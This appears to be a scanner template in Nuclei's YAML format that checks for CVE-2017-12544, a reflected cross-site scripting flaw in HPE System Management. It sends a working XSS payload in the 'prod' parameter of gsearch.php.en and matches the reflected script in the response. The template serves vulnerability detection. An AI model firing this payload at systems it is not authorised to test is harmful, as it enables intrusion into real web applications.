id: CVE-2017-12544

info:
  name: HPE System Management - XSS
  author: divya_mudgal
  severity: medium
  description: Reflected Cross-site scripting (XSS) on HPE System Management
  reference:
    - https://seclists.org/fulldisclosure/2018/Mar/5
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12544
    - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbmu03753en_us
    - http://www.securitytracker.com/id/1039437
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-12544
    cwe-id: CWE-79
  tags: cve,cve2017,xss,hp

requests:
  - method: GET
    path:
      - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "var prodName = '';prompt`document.domain`;//';"
        part: body

      - type: word
        words:
          - "text/html"
        part: header

      - type: status
        status:
          - 200